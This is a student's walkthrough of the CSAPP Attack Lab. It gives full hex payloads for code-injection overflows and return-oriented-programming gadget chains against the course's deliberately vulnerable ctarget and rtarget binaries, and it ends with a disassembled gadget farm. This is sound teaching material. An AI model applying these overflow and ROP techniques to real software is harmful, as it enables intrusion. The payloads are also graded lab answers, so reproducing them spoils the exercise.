Attacklab

Attacklab from CSAPP 15213, including P1-Code Injection Attacks and P2-Return-Oriented Programming. It’s a little bit hard, please be patient and gradually find your way out, best wishes! Source: Github-Link-Here

Using a docker container is the simplest way, source from yansongsongsong

docker run --privileged -d -p 1221:22 --name bomb yansongsongsong/csapp:attacklab

Then using vscode remote ssh to connect with it as we described in datalab

password: THEPASSWORDYOUCREATED

This phase requires us to call touch1() at the end of test() in ctarget

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
void test() {
  int val;
  val = getbuf();   // here is a dangerous getbuf call that we can make use of 
  printf("No exploit. Getbuf returned 0x%x\n", val);
}
void touch1()
{
    vlevel = 1; /* Part of validation protocol */
    printf("Touch1!: You called touch1()\n");
    validate(1);
    exit(0);
}

Firstly let’s see assembly code: objdump -d ctarget > ctarget.asm

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
00401968 <test>:
  401968:  48 83 ec 08            sub    $0x8,%rsp
  40196c:  b8 00 00 00 00         mov    $0x0,%eax
  401971:  e8 32 fe ff ff         callq  4017a8 <getbuf>
  401976:  89 c2                  mov    %eax,%edx
  401978:  be 88 31 40 00         mov    $0x403188,%esi
  40197d:  bf 01 00 00 00         mov    $0x1,%edi
  401982:  b8 00 00 00 00         mov    $0x0,%eax
  401987:  e8 64 f4 ff ff         callq  400df0 <__printf_chk@plt>
  40198c:  48 83 c4 08            add    $0x8,%rsp

We notice that there is a call for getbuf(), and the address of touch1 is 004017c0 <touch1>.

1
2
3
4
5
6
7
004017a8 <getbuf>:
  4017a8:  48 83 ec 28            sub    $0x28,%rsp
  4017ac:  48 89 e7               mov    %rsp,%rdi
  4017af:  e8 8c 02 00 00         callq  401a40 <Gets>
  4017b4:  b8 01 00 00 00         mov    $0x1,%eax
  4017b9:  48 83 c4 28            add    $0x28,%rsp
  4017bd:  c3                     retq   

Here function Gets put the value we input in %rsp, see disas Gets for more details if you are interested.

Here is the stack:

1
2
3
4
5
6
7
| return address |
|     0x28       |   
|     0x20       |
|     0x18       |   
|     0x10       |   
|     0x08       |
|     0x00       | 

So we should put more things than 0x28, the additional 0x004017c0covering the return address

Then we get the answer: (little-endian)

1
2
3
4
5
6
00 00 00 00 00 00 00 00    // 64 bit, 8 bytes
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00    // 0x28 bytes
c0 17 40 00                // use `touch1` to cover the return address

Save it in phase_1_raw.txt(remove the comments) then ./hex2raw <phase_1_raw.txt >phase_1.txt then ./ctarget -qi phase_1.txt to pass the phase_1

This phase we need to call touch2, and the cookie should equal to the value

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
void touch2(unsigned val)
{
    vlevel = 2; /* Part of validation protocol */
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    }
    else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

Dump of assembler code for function touch2:

1
2
   0x004017ec <+0>:     sub    $0x8,%rsp
   // ....

It is clear that we should not only change the return address, but also change the value of val(%rdi), to match the cookie(0x59b997fa)

How could we change the value of %rdi? we can inject movq $0x59b997fa %rdi instruction to the buffer.

Here are all of the instructions we need:

1
2
3
movq    $0x59b997fa, %rdi       // move cookie to rdi
pushq   $0x4017ec               // push the touch2 address to the stack
ret                             // pop the stack and jump to the address

Saved it in phase_2_inject.s then gcc -c phase_2_inject.s

Finally objdump -d phase_2_inject.o we get the codes

1
2
3
0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
7:   68 ec 17 40 00          pushq  $0x4017ec
c:   c3                      retq 

We also need to make sure the codes above can be executed. How could we do that?

Considering the stack:

1
2
3
4
5
6
7
| return address |    // return address of after calling `get_buf`
|     0x28       |   
|     0x20       |
|     0x18       |   
|     0x10       |   
|     0x08       |
|     0x00       |    // %rsp

We can put our codes to %rsp and then make the return address pointing to that %rsp, like this:

1
2
3
4
5
6
7
|  return: %rsp  |    // return address of after calling `get_buf`
|     ....       |   
|     ....       |
|     ....       |   
|     ret        |   
|     pushq      |
|     move       |    // %rsp

How to get the address of %rsp? Using gdb, stepi to 4017a8: 48 83 ec 28 sub $0x28,%rsp, then p $rsp and we get 0x5561dc78

Now we can make the answer:

1
2
3
4
5
6
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55

Note: if you use gdb to see %rsp after calling getbuf, you’ll see

1
2
3
4
5
6
0x5561dc78:  0x48 0xc7 0xc7 0xfa 0x97 0xb9 0x59 0x68
0x5561dc80:  0xec 0x17 0x40 0x00 0xc3 0x00 0x00 0x00
0x5561dc88:  0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x5561dc90:  0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x5561dc98:  0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x5561dca0:  0x78 0xdc 0x61 0x55 0x00 0x00 0x00 0x00

This phase needs us to call touch3, and pass the validation

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    // "%.8x" means put the unsigned hex string of cookie to s
    sprintf(s, "%.8x", val);
    // When using strncmp, actually compare about the ascii
    // ascii string of cookie(ascii): 35 39 62 39 39 37 66 61
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)     //   address of touch3:0x4018fa
{
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

Now that the address pointer s is unpredictable, we can’t directly change the value of it. But we can still change the value of *sval(%rdi).

Note: This time it is a pointer (simply a value in phase_2), we must pass an address to it and then store our hex cookie in that address.

we may consider injecting codes like:

1
2
3
movq    $address, %rdi          // the address of our cookie
pushq   $0x4018fa               // address of touch3
ret                             // return to touch3

But what address should we use? If we put it in the buffer, like:

1
2
3
4
5
6
7
|  return: %rsp  |    // return address of after calling `get_buf`
|     ....       |   
|     cookie     |
|     ....       |   
|     ret        |   
|     pushq      |
|     move       |    // %rsp: 0x5561dc78

We may not get the correct answer. See the codes of hexmatch and touch3:

1
2
3
4
5
6
7
8
000000000040184c <hexmatch>:
  40184c:  41 54                  push   %r12
  40184e:  55                     push   %rbp
  40184f:  53                     push   %rbx
  // ...
00000000004018fa <touch3>:
  4018fa:  53                     push   %rbx
  // ...

As we can see here, the touch3 and hexmatch push data into stack and may cover the buffer we try to input.

This is because after we call Gets() in getbuf(), the stack is like this:

1
2
3
4
5
6
7
|  return: %rsp  |    // return address of after calling `get_buf`
|     ....       |   
|     ....       |
|     ....       |   
|     ret        |   
|     pushq      |
|     move       |    // %rsp: 0x5561dc78

But in the end of getbuf, it will add 0x28 to %rsp and then pushq and make it 0x5561dca8, the stack is now like this:

1
2
3
4
5
6
7
8
|     ....       | // %rsp: 0x5561dca8
|  return: %rsp  |    
|     ....       | // value here may be covered by push!
|     ....       | // value here may be covered by push!
|     ....       | // value here may be covered by push!
|     ret        |   
|     pushq      |
|     move       | // %rsp before: 0x5561dc78

So we have to find a new address to put our hex cookie value, considering using the frame of test(), it will not be affected by any pushq

1
2
3
4
5
6
|  frame: test   |   
|     ....       | // address: 0x5561dca8
| return address |    
|     ....       |   
| frame: getbuf  |   
|     ....       |   

we can make it like this:

1
2
3
4
5
6
7
8
9
|  frame: test   |   
|  cookie value  | // address: 0x5561dca8, in frame of test
|  return: %rsp  | // execute our injected code in 0x5561dc78
|     ....       |   
|     ....       | 
|     ....       |   
|     ret        |   
|     pushq      |
|     move       | // %rsp: 0x5561dc78

And now we can get the answer:

1
2
3
4
5
6
7
8
movq    $0x5561dca8, %rdi       // the address of our cookie
pushq   $0x4018fa               // address of touch3
ret                             // return to touch3

// generating the assembly codes
0:  48 c7 c7 a8 dc 61 55   mov    $0x5561dca8,%rdi
7:  68 fa 18 40 00         pushq  $0x4018fa
c:  c3                     retq

And make it to the final answer:

1
2
3
4
5
6
7
48 c7 c7 a8 dc 61 55 68   // address: 0x5561dc78, executing our code
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00   // return to 0x5561dc78
35 39 62 39 39 37 66 61   // our hex cookie saved in $0x5561dca8

In real environment, it’s hard to inject code because we have Stack Randomization and Stack Read-Only Access. So we have to use the current codes(gadget) to attack.

For instance:

1
2
3
4
5
6
7
void setval_210(unsigned *p)
{
*p = 3347663060U;
}
// compiling...
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq

48 89 c7 is movq %rax, %rdi and c3 is retq

So if we starts from 400f18, it’s like we are executing

1
2
movq %rax, %rdi
retq

This phase requires us to repeat the attack of phase_2, but using Rtarget.

we can only use instructions of movq popq ret nop and the first eight x86-64 registers (%rax–%rdi).

Recall the phase_2, we need to realize:

  1. move cookie to $rdi
  2. execute touch2

Firstly objdump -d rtarget > rtarget.asm to see what gadgets we can make use of.

If we can find gadgets like popq %rdi(5f), that could be quite easy, but we can’t find one in farm.

So we decide to use 58(popq %rax), the instrcutions are:

1
2
3
4
popq %rax               // 58
ret                     // c3
moveq %rax, %rdi        // 48 89 c7
ret                     // c3

The gadgets we use are:

1
2
3
4
5
6
00000000004019ca <getval_280>:
  4019ca:  b8 29 58 90 c3         mov    $0xc3905829,%eax
  4019cf:  c3                     retq
00000000004019a0 <addval_273>:
  4019a0:  8d 87 48 89 c7 c3      lea    -0x3c3876b8(%rdi),%eax
  4019a6:  c3                     retq   

The stack is like:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
| return: touch2 |   
|return: 0x4019a2| // execute 48 89 c7(moveq %rax, %rdi) then ret
|  cookie value  | // after popq, the value here is stored in %rax
|return: 0x4019cc| // execute 58 (popq %rax) then ret
|     ....       |   
|     ....       | 
|     ....       |   
|     ....       |   
|     ....       |
|     ....       | // %get buf start

So we can get the answer: (Note: ret get 8 bytes of address)

1
2
3
4
5
6
7
8
9
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
cc 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

This phase requires us to repeat the attack of phase_3, but using Rtarget.

Including movq popq ret nop, we can now use movl and additional func nop(andb, orb, cmpb, testb). Note these func nop do not change the value in our registers.

Recall the phase_3, we need to realize:

  1. save cookie in address x, move x to $rdi
  2. execute touch3

Note we can’t declare an address x directly like phase_2 because of stack randomization, how could we get the address of x?

Although the address of %rsp is always changing, the offset is always the same. For example, we may put our string in address %rsp + 0x30, and pass the address (%rsp + 0x30) to %rdi.

So we may want to find instructions like:

1
2
popq %rax                   // and our offset saved in %rax
lea (%rsp, %rax, 1), %rdi

Unlucily, we don’t find an instruction for lea (%rsp, %rax, 1), %rdi, but we can find another one here:

1
2
3
00000000004019d6 <add_xy>:
  4019d6:  48 8d 04 37            lea    (%rdi,%rsi,1),%rax
  4019da:  c3                     retq   

So we can generate our instrucstions based on add_xy:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
// no `movq %rsp, %rdi; ret` found in farm, so use %rax as a temp
movq %rsp, %rax  ret    // 48 89 e0 ... c3   0x401aad <setval_350>
movq %rax, %rdi  ret    // 48 89 c7 ... c3   0x4019c5 <setval_426>
popq %rax   ret         // pop offset to %rax, 58 ... c3  0x4019cc <getval_280>
// no `movq %rax, %rsi` or `movl %eax, %esi` found in farm
// so we have to use `%edx`, `%ecx` as temp
movl %eax, %edx  ret    // 89 c2 ... c3   0x4019dd <getval_481>
movl %edx, %ecx  ret    // 89 d1 ... c3   0x401a34 <getval_159> (38 c9 is a nop)
movl %ecx, %esi  ret    // 89 ce ... c3   0x401a13 <addval_436>
<add_xy>                // lea and ret, 0x4019d6
movq %rax,%rdi   ret    // 48 89 c7 ... c3  0x4019a2 <addval_273>

The stack is like:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
| our hex cookie |  // our hex cookie value here
|return: 0x4018fa|  // execute touch3
|return: 0x4019a2|  // execute `movq %rax,%rdi   ret`
|return: 0x4019d6|  // execute <add_xy>
|return: 0x401a13|  // execute `movl %ecx, %esi  ret`
|return: 0x401a34|  // execute `movl %edx, %ecx  ret`
|return: 0x4019dd|  // execute `movl %eax, %edx  ret`
|  offset: 0x??  |  // our offset here
|return: 0x4019cc|  // execute `popq %rax   ret`
|return: 0x4019c5|  // execute `movq %rax, %rdi   ret`
|return: 0x401aad|  // execute `movq %rsp, %rax   ret`   // %getbuf + 0x30
|     ....       |   
|     ....       | 
|     ....       |   
|     ....       |   
|     ....       |
|     ....       |  // %get buf start

But here comes another question: what’s the offset should be?

Note: Dump of assembler code for function getbuf

1
2
3
4
5
6
   0x00000000004017a8 <+0>:     sub    $0x28,%rsp
   0x00000000004017ac <+4>:     mov    %rsp,%rdi
   0x00000000004017af <+7>:     callq  0x401b60 <Gets>
   0x00000000004017b4 <+12>:    mov    $0x1,%eax
   0x00000000004017b9 <+17>:    add    $0x28,%rsp
=> 0x00000000004017bd <+21>:    retq

Recall that when retq, the %rsp adds 0x8, and get the address back.

So when executing movq %rsp, %rax, the %rsp is now pointing at

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
| our hex cookie |  // %rsp + 0x50
|return: 0x4018fa|  // execute touch3
|return: 0x4019a2|
|return: 0x4019d6|
|return: 0x401a13|
|return: 0x401a34|
|return: 0x4019dd|
|  offset: 0x??  |
|return: 0x4019cc|
|return: 0x4019c5|
|return: 0x401aad|  // execute `movq %rsp, %rax   ret`   // %rsp here
|     ....       |   
|     ....       |

So we know the offset is 0x50

And we can finally get our answer:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ad 1a 40 00 00 00 00 00  
c5 19 40 00 00 00 00 00
cc 19 40 00 00 00 00 00
50 00 00 00 00 00 00 00 
dd 19 40 00 00 00 00 00
34 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00 
a2 19 40 00 00 00 00 00 
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61

Good luck!

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
0000000000401994 <start_farm>:
  401994:  b8 01 00 00 00         mov    $0x1,%eax
  401999:  c3                     retq   

000000000040199a <getval_142>:
  40199a:  b8 fb 78 90 90         mov    $0x909078fb,%eax
  40199f:  c3                     retq   

00000000004019a0 <addval_273>:
  4019a0:  8d 87 48 89 c7 c3      lea    -0x3c3876b8(%rdi),%eax
  4019a6:  c3                     retq   

00000000004019a7 <addval_219>:
  4019a7:  8d 87 51 73 58 90      lea    -0x6fa78caf(%rdi),%eax
  4019ad:  c3                     retq   

00000000004019ae <setval_237>:
  4019ae:  c7 07 48 89 c7 c7      movl   $0xc7c78948,(%rdi)
  4019b4:  c3                     retq   

00000000004019b5 <setval_424>:
  4019b5:  c7 07 54 c2 58 92      movl   $0x9258c254,(%rdi)
  4019bb:  c3                     retq   

00000000004019bc <setval_470>:
  4019bc:  c7 07 63 48 8d c7      movl   $0xc78d4863,(%rdi)
  4019c2:  c3                     retq   

00000000004019c3 <setval_426>:
  4019c3:  c7 07 48 89 c7 90      movl   $0x90c78948,(%rdi)
  4019c9:  c3                     retq   

00000000004019ca <getval_280>:
  4019ca:  b8 29 58 90 c3         mov    $0xc3905829,%eax
  4019cf:  c3                     retq   

00000000004019d0 <mid_farm>:
  4019d0:  b8 01 00 00 00         mov    $0x1,%eax
  4019d5:  c3                     retq   

00000000004019d6 <add_xy>:
  4019d6:  48 8d 04 37            lea    (%rdi,%rsi,1),%rax
  4019da:  c3                     retq   

00000000004019db <getval_481>:
  4019db:  b8 5c 89 c2 90         mov    $0x90c2895c,%eax
  4019e0:  c3                     retq   

00000000004019e1 <setval_296>:
  4019e1:  c7 07 99 d1 90 90      movl   $0x9090d199,(%rdi)
  4019e7:  c3                     retq   

00000000004019e8 <addval_113>:
  4019e8:  8d 87 89 ce 78 c9      lea    -0x36873177(%rdi),%eax
  4019ee:  c3                     retq   

00000000004019ef <addval_490>:
  4019ef:  8d 87 8d d1 20 db      lea    -0x24df2e73(%rdi),%eax
  4019f5:  c3                     retq   

00000000004019f6 <getval_226>:
  4019f6:  b8 89 d1 48 c0         mov    $0xc048d189,%eax
  4019fb:  c3                     retq   

00000000004019fc <setval_384>:
  4019fc:  c7 07 81 d1 84 c0      movl   $0xc084d181,(%rdi)
  401a02:  c3                     retq   

0000000000401a03 <addval_190>:
  401a03:  8d 87 41 48 89 e0      lea    -0x1f76b7bf(%rdi),%eax
  401a09:  c3                     retq   

0000000000401a0a <setval_276>:
  401a0a:  c7 07 88 c2 08 c9      movl   $0xc908c288,(%rdi)
  401a10:  c3                     retq   

0000000000401a11 <addval_436>:
  401a11:  8d 87 89 ce 90 90      lea    -0x6f6f3177(%rdi),%eax
  401a17:  c3                     retq   

0000000000401a18 <getval_345>:
  401a18:  b8 48 89 e0 c1         mov    $0xc1e08948,%eax
  401a1d:  c3                     retq   

0000000000401a1e <addval_479>:
  401a1e:  8d 87 89 c2 00 c9      lea    -0x36ff3d77(%rdi),%eax
  401a24:  c3                     retq   

0000000000401a25 <addval_187>:
  401a25:  8d 87 89 ce 38 c0      lea    -0x3fc73177(%rdi),%eax
  401a2b:  c3                     retq   

0000000000401a2c <setval_248>:
  401a2c:  c7 07 81 ce 08 db      movl   $0xdb08ce81,(%rdi)
  401a32:  c3                     retq   

0000000000401a33 <getval_159>:
  401a33:  b8 89 d1 38 c9         mov    $0xc938d189,%eax
  401a38:  c3                     retq   

0000000000401a39 <addval_110>:
  401a39:  8d 87 c8 89 e0 c3      lea    -0x3c1f7638(%rdi),%eax
  401a3f:  c3                     retq   

0000000000401a40 <addval_487>:
  401a40:  8d 87 89 c2 84 c0      lea    -0x3f7b3d77(%rdi),%eax
  401a46:  c3                     retq   

0000000000401a47 <addval_201>:
  401a47:  8d 87 48 89 e0 c7      lea    -0x381f76b8(%rdi),%eax
  401a4d:  c3                     retq   

0000000000401a4e <getval_272>:
  401a4e:  b8 99 d1 08 d2         mov    $0xd208d199,%eax
  401a53:  c3                     retq   

0000000000401a54 <getval_155>:
  401a54:  b8 89 c2 c4 c9         mov    $0xc9c4c289,%eax
  401a59:  c3                     retq   

0000000000401a5a <setval_299>:
  401a5a:  c7 07 48 89 e0 91      movl   $0x91e08948,(%rdi)
  401a60:  c3                     retq   

0000000000401a61 <addval_404>:
  401a61:  8d 87 89 ce 92 c3      lea    -0x3c6d3177(%rdi),%eax
  401a67:  c3                     retq   

0000000000401a68 <getval_311>:
  401a68:  b8 89 d1 08 db         mov    $0xdb08d189,%eax
  401a6d:  c3                     retq   

0000000000401a6e <setval_167>:
  401a6e:  c7 07 89 d1 91 c3      movl   $0xc391d189,(%rdi)
  401a74:  c3                     retq   

0000000000401a75 <setval_328>:
  401a75:  c7 07 81 c2 38 d2      movl   $0xd238c281,(%rdi)
  401a7b:  c3                     retq   

0000000000401a7c <setval_450>:
  401a7c:  c7 07 09 ce 08 c9      movl   $0xc908ce09,(%rdi)
  401a82:  c3                     retq   

0000000000401a83 <addval_358>:
  401a83:  8d 87 08 89 e0 90      lea    -0x6f1f76f8(%rdi),%eax
  401a89:  c3                     retq   

0000000000401a8a <addval_124>:
  401a8a:  8d 87 89 c2 c7 3c      lea    0x3cc7c289(%rdi),%eax
  401a90:  c3                     retq   

0000000000401a91 <getval_169>:
  401a91:  b8 88 ce 20 c0         mov    $0xc020ce88,%eax
  401a96:  c3                     retq   

0000000000401a97 <setval_181>:
  401a97:  c7 07 48 89 e0 c2      movl   $0xc2e08948,(%rdi)
  401a9d:  c3                     retq   

0000000000401a9e <addval_184>:
  401a9e:  8d 87 89 c2 60 d2      lea    -0x2d9f3d77(%rdi),%eax
  401aa4:  c3                     retq   

0000000000401aa5 <getval_472>:
  401aa5:  b8 8d ce 20 d2         mov    $0xd220ce8d,%eax
  401aaa:  c3                     retq   

0000000000401aab <setval_350>:
  401aab:  c7 07 48 89 e0 90      movl   $0x90e08948,(%rdi)
  401ab1:  c3                     retq   

0000000000401ab2 <end_farm>:
  401ab2:  b8 01 00 00 00         mov    $0x1,%eax
  401ab7:  c3                     retq   
  401ab8:  90                     nop
  401ab9:  90                     nop
  401aba:  90                     nop
  401abb:  90                     nop
  401abc:  90                     nop
  401abd:  90                     nop
  401abe:  90                     nop
  401abf:  90                     nop